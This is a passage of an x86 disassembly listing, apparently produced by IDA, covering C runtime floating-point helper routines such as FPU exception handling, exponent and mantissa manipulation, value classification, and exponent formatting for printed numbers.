arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421A2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421A2A
		push	ebx
		call	sub_421EAC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421BF4
; ---------------------------------------------------------------------------


loc_421A2A:				; CODE XREF: sub_4219FF+15j
					; sub_4219FF+1Aj
		test	al, 4
		jz	short loc_421A44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421A44
		push	4
		call	sub_421EAC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421BF4
; ---------------------------------------------------------------------------


loc_421A44:				; CODE XREF: sub_4219FF+2Dj
					; sub_4219FF+33j
		test	al, bl
		jz	loc_421B1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421B1E
		push	8
		call	sub_421EAC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421AF6
		cmp	ecx, 400h
		jz	short loc_421ACE
		cmp	ecx, 800h
		jz	short loc_421AA6
		cmp	ecx, eax
		jnz	loc_421B16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428868
		fld	dbl_43FB90
		fnstsw	ax
		sahf
		ja	short loc_421A9E
		fchs


loc_421A9E:				; CODE XREF: sub_4219FF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421B14
; ---------------------------------------------------------------------------


loc_421AA6:				; CODE XREF: sub_4219FF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428868
		fnstsw	ax
		sahf
		jbe	short loc_421ABE
		fld	dbl_43FB80
		jmp	short loc_421AC6
; ---------------------------------------------------------------------------


loc_421ABE:				; CODE XREF: sub_4219FF+B5j
		fld	dbl_43FB90
		fchs


loc_421AC6:				; CODE XREF: sub_4219FF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421B14
; ---------------------------------------------------------------------------


loc_421ACE:				; CODE XREF: sub_4219FF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428868
		fnstsw	ax
		sahf
		jbe	short loc_421AE6
		fld	dbl_43FB90
		jmp	short loc_421AEE
; ---------------------------------------------------------------------------


loc_421AE6:				; CODE XREF: sub_4219FF+DDj
		fld	dbl_43FB80
		fchs


loc_421AEE:				; CODE XREF: sub_4219FF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421B14
; ---------------------------------------------------------------------------


loc_421AF6:				; CODE XREF: sub_4219FF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428868
		fld	dbl_43FB80
		fnstsw	ax
		sahf
		ja	short loc_421B0E
		fchs


loc_421B0E:				; CODE XREF: sub_4219FF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421B14:				; CODE XREF: sub_4219FF+A5j
					; sub_4219FF+CDj ...
		fstp	qword ptr [ecx]


loc_421B16:				; CODE XREF: sub_4219FF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421BF4
; ---------------------------------------------------------------------------


loc_421B1E:				; CODE XREF: sub_4219FF+47j
					; sub_4219FF+51j
		test	al, 2
		jz	loc_421BF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421BF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421B39
		mov	esi, ebx


loc_421B39:				; CODE XREF: sub_4219FF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_428868
		fnstsw	ax
		sahf
		jz	loc_421BE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421DAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421B84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421BD8
; ---------------------------------------------------------------------------


loc_421B84:				; CODE XREF: sub_4219FF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_428868
		fnstsw	ax
		sahf
		jnb	short loc_421B96
		mov	edx, ebx
		jmp	short loc_421B98
; ---------------------------------------------------------------------------


loc_421B96:				; CODE XREF: sub_4219FF+191j
		xor	edx, edx


loc_421B98:				; CODE XREF: sub_4219FF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421BCC
		sub	eax, ecx


loc_421BAF:				; CODE XREF: sub_4219FF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421BBA
		test	esi, esi
		jnz	short loc_421BBA
		mov	esi, ebx


loc_421BBA:				; CODE XREF: sub_4219FF+1B3j
					; sub_4219FF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421BC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421BC6:				; CODE XREF: sub_4219FF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421BAF


loc_421BCC:				; CODE XREF: sub_4219FF+1ACj
		test	edx, edx
		jz	short loc_421BD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421BD8:				; CODE XREF: sub_4219FF+183j
					; sub_4219FF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BE2:				; CODE XREF: sub_4219FF+14Ej
		mov	esi, ebx


loc_421BE4:				; CODE XREF: sub_4219FF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421BF1
		push	10h
		call	sub_421EAC
		pop	ecx


loc_421BF1:				; CODE XREF: sub_4219FF+1E8j
		and	edi, 0FFFFFFFDh


loc_421BF4:				; CODE XREF: sub_4219FF+26j
					; sub_4219FF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421C0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421C0B
		push	20h
		call	sub_421EAC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421C0B:				; CODE XREF: sub_4219FF+1F9j
					; sub_4219FF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4219FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421C16(int,int,int,int,int,int,double,int)

sub_421C16	proc near		; CODE XREF: sub_421661+2Bp
					; sub_4216B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421CC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421C81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_421E89
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4246ED
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421C7B
		push	esi
		call	sub_421C9E
		pop	ecx


loc_421C7B:				; CODE XREF: sub_421C16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C81:				; CODE XREF: sub_421C16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_421E89
		push	[ebp+arg_0]
		call	sub_421C9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421C16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C9E	proc near		; CODE XREF: sub_4216B4+7Dp
					; sub_421C16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421CB9
		jle	short locret_421CC3
		cmp	eax, 3
		jg	short locret_421CC3
		mov	dword_4DE5C4, 22h
		retn
; ---------------------------------------------------------------------------


loc_421CB9:				; CODE XREF: sub_421C9E+7j
		mov	dword_4DE5C4, 21h

locret_421CC3:				; CODE XREF: sub_421C9E+9j
					; sub_421C9E+Ej
		retn
sub_421C9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CC4	proc near		; CODE XREF: sub_421C16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43FAA8


loc_421CCB:				; CODE XREF: sub_421CC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421CE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43FB80
		jl	short loc_421CCB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421CE1:				; CODE XREF: sub_421CC4+Dj
		mov	eax, off_43FAAC[ecx*8]
		retn
sub_421CC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CE9	proc near		; CODE XREF: sub_4216B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421CF5
		push	5
		jmp	short loc_421D0B
; ---------------------------------------------------------------------------


loc_421CF5:				; CODE XREF: sub_421CE9+6j
		test	al, 8
		jz	short loc_421CFD
		push	1
		jmp	short loc_421D0B
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421CE9+Ej
		test	al, 4
		jz	short loc_421D05
		push	2
		jmp	short loc_421D0B
; ---------------------------------------------------------------------------


loc_421D05:				; CODE XREF: sub_421CE9+16j
		test	al, 1
		jz	short loc_421D0D
		push	3


loc_421D0B:				; CODE XREF: sub_421CE9+Aj
					; sub_421CE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421D0D:				; CODE XREF: sub_421CE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421D16(double)

sub_421D16	proc near		; CODE XREF: sub_41CCE5:loc_41CD6Bp
					; sub_41CE2B:loc_41CEB1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421D28(double,int)

sub_421D28	proc near		; CODE XREF: sub_421DAB+82p
					; sub_421DAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D51	proc near		; CODE XREF: sub_41CCE5+31p
					; sub_41CE2B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421D68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421D7A
		push	1
		jmp	short loc_421DA4
; ---------------------------------------------------------------------------


loc_421D68:				; CODE XREF: sub_421D51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421D7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421D7A
		push	2
		jmp	short loc_421DA4
; ---------------------------------------------------------------------------


loc_421D7A:				; CODE XREF: sub_421D51+11j
					; sub_421D51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421D8D
		push	3
		jmp	short loc_421DA4
; ---------------------------------------------------------------------------


loc_421D8D:				; CODE XREF: sub_421D51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421DA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421DA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421DA7


loc_421DA2:				; CODE XREF: sub_421D51+4Aj
		push	4


loc_421DA4:				; CODE XREF: sub_421D51+15j
					; sub_421D51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421DA7:				; CODE XREF: sub_421D51+41j
					; sub_421D51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421D51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421DAB(double,int)

sub_421DAB	proc near		; CODE XREF: sub_4219FF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_428868
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421DCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_421E61
; ---------------------------------------------------------------------------


loc_421DCB:				; CODE XREF: sub_421DAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_421E3A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421DE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_421E3A


loc_421DE3:				; CODE XREF: sub_421DAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_428868
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421DFB
		push	1
		pop	eax
		jmp	short loc_421DFD
; ---------------------------------------------------------------------------


loc_421DFB:				; CODE XREF: sub_421DAB+49j
		xor	eax, eax


loc_421DFD:				; CODE XREF: sub_421DAB+4Ej
					; sub_421DAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421E16
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421E10
		or	dword ptr [ebp+arg_0+4], 1


loc_421E10:				; CODE XREF: sub_421DAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421DFD
; ---------------------------------------------------------------------------


loc_421E16:				; CODE XREF: sub_421DAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421E24
		or	byte ptr [ebp+arg_0+7],	80h


loc_421E24:				; CODE XREF: sub_421DAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421D28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_421E61
; ---------------------------------------------------------------------------


loc_421E3A:				; CODE XREF: sub_421DAB+28j
					; sub_421DAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421D28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_421E61:				; CODE XREF: sub_421DAB+1Bj
					; sub_421DAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421DAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E6C	proc near		; CODE XREF: sub_42174C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421E6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E7A	proc near		; CODE XREF: sub_42174C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E89	proc near		; CODE XREF: sub_41CCE5+13p
					; sub_41CCE5+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_421E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EAC	proc near		; CODE XREF: sub_4219FF+1Dp
					; sub_4219FF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421EC3
		fld	tbyte_43FBA8
		fistp	[ebp+arg_0]
		wait


loc_421EC3:				; CODE XREF: sub_421EAC+Bj
		test	cl, 8
		jz	short loc_421ED8
		fstsw	ax
		fld	tbyte_43FBA8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421ED8:				; CODE XREF: sub_421EAC+1Aj
		test	cl, 10h
		jz	short loc_421EE7
		fld	tbyte_43FBB4
		fstp	[ebp+var_8]
		wait


loc_421EE7:				; CODE XREF: sub_421EAC+2Fj
		test	cl, 4
		jz	short loc_421EF5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421EF5:				; CODE XREF: sub_421EAC+3Ej
		test	cl, 20h
		jz	short locret_421F00
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421F00:				; CODE XREF: sub_421EAC+4Cj
		leave
		retn
sub_421EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F02	proc near		; CODE XREF: sub_41CDB4+Fp
		push	30000h
		push	10000h
		call	sub_424725
		pop	ecx
		pop	ecx
		retn
sub_421F02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F14	proc near		; CODE XREF: sub_421F52:loc_421F76j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_428878
		fstp	[ebp+var_8]
		fld	dbl_428870
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_428700
		fnstsw	ax
		sahf
		jbe	short loc_421F4E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F4E:				; CODE XREF: sub_421F14+33j
		xor	eax, eax
		leave
		retn
sub_421F14	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F52	proc near		; CODE XREF: sub_41CDB4+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4280A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_421F76
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4280C4	; GetProcAddress
		test	eax, eax
		jz	short loc_421F76
		push	0
		call	eax ; sub_41CDB4
		retn
; ---------------------------------------------------------------------------


loc_421F76:				; CODE XREF: sub_421F52+Dj
					; sub_421F52+1Dj
		jmp	sub_421F14
sub_421F52	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421F7B	proc near		; CODE XREF: sub_41FD3F+3CBp
					; DATA XREF: sub_41CDCC+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DDEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421FBB


loc_421F8F:				; CODE XREF: sub_421F7B+3Ej
		inc	esi
		cmp	dword_43F824, 1
		jle	short loc_421FA8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_421FB7
; ---------------------------------------------------------------------------


loc_421FA8:				; CODE XREF: sub_421F7B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43F618
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421FB7:				; CODE XREF: sub_421F7B+2Bj
		test	eax, eax
		jnz	short loc_421F8F


loc_421FBB:				; CODE XREF: sub_421F7B+12j
		mov	cl, byte_43F828
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421FC6:				; CODE XREF: sub_421F7B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421FC6
		pop	esi
		retn
sub_421F7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_421FD5	proc near		; CODE XREF: sub_41FD3F+3E2p
					; DATA XREF: sub_41CDCC+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43F828
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421FF1


loc_421FE5:				; CODE XREF: sub_421FD5+1Aj
		cmp	cl, dl
		jz	short loc_421FF1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421FE5


loc_421FF1:				; CODE XREF: sub_421FD5+Ej
					; sub_421FD5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422022


loc_421FF8:				; CODE XREF: sub_421FD5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42200B
		cmp	cl, 65h
		jz	short loc_42200B
		cmp	cl, 45h
		jz	short loc_42200B
		inc	eax
		jmp	short loc_421FF8
; ---------------------------------------------------------------------------


loc_42200B:				; CODE XREF: sub_421FD5+27j
					; sub_421FD5+2Cj ...
		mov	ecx, eax


loc_42200D:				; CODE XREF: sub_421FD5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42200D
		cmp	[eax], dl
		jnz	short loc_422018
		dec	eax


loc_422018:				; CODE XREF: sub_421FD5+40j
					; sub_421FD5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422018

locret_422022:				; CODE XREF: sub_421FD5+21j
		retn
sub_421FD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422023	proc near		; DATA XREF: sub_41CDCC+28o
					; .XPack0:off_43FBD0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_428868
		fnstsw	ax
		sahf
		jb	short loc_422038
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422038:				; CODE XREF: sub_422023+Fj
		xor	eax, eax
		retn
sub_422023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42203B	proc near		; CODE XREF: sub_420BB0+430p
					; DATA XREF: sub_41CDCC+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422064
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424BE8
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422064:				; CODE XREF: sub_42203B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424C15
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422079	proc near		; CODE XREF: sub_4222F6+17p
					; sub_422340+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DE660, 0
		push	ebx
		push	esi
		jz	short loc_4220AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DE65C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422391
		pop	ecx
		pop	ecx
		jmp	short loc_4220E6
; ---------------------------------------------------------------------------


loc_4220AE:				; CODE XREF: sub_422079+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424CB9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424C42
		add	esp, 14h


loc_4220E6:				; CODE XREF: sub_422079+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4220F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4220F2:				; CODE XREF: sub_422079+73j
		test	ebx, ebx
		jle	short loc_42210A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43F828
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42210A:				; CODE XREF: sub_422079+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DE660, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C520
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422131
		mov	byte ptr [ecx],	45h


loc_422131:				; CODE XREF: sub_422079+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422176
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422145
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422145:				; CODE XREF: sub_422079+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42215C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42215C:				; CODE XREF: sub_422079+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422173
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422173:				; CODE XREF: sub_422079+E7j
		add	[ecx+1], bl


loc_422176:				; CODE XREF: sub_422079+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422079	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217D	proc near		; CODE XREF: sub_42231D+13p
					; sub_422340+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DE660, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4221B8
		mov	eax, dword_4DE664
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DE65C
		cmp	eax, ebx
		jnz	short loc_4221E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4221E8
; ---------------------------------------------------------------------------


loc_4221B8:				; CODE XREF: sub_42217D+Fj
		mov	eax, [esp+10h+arg_0]
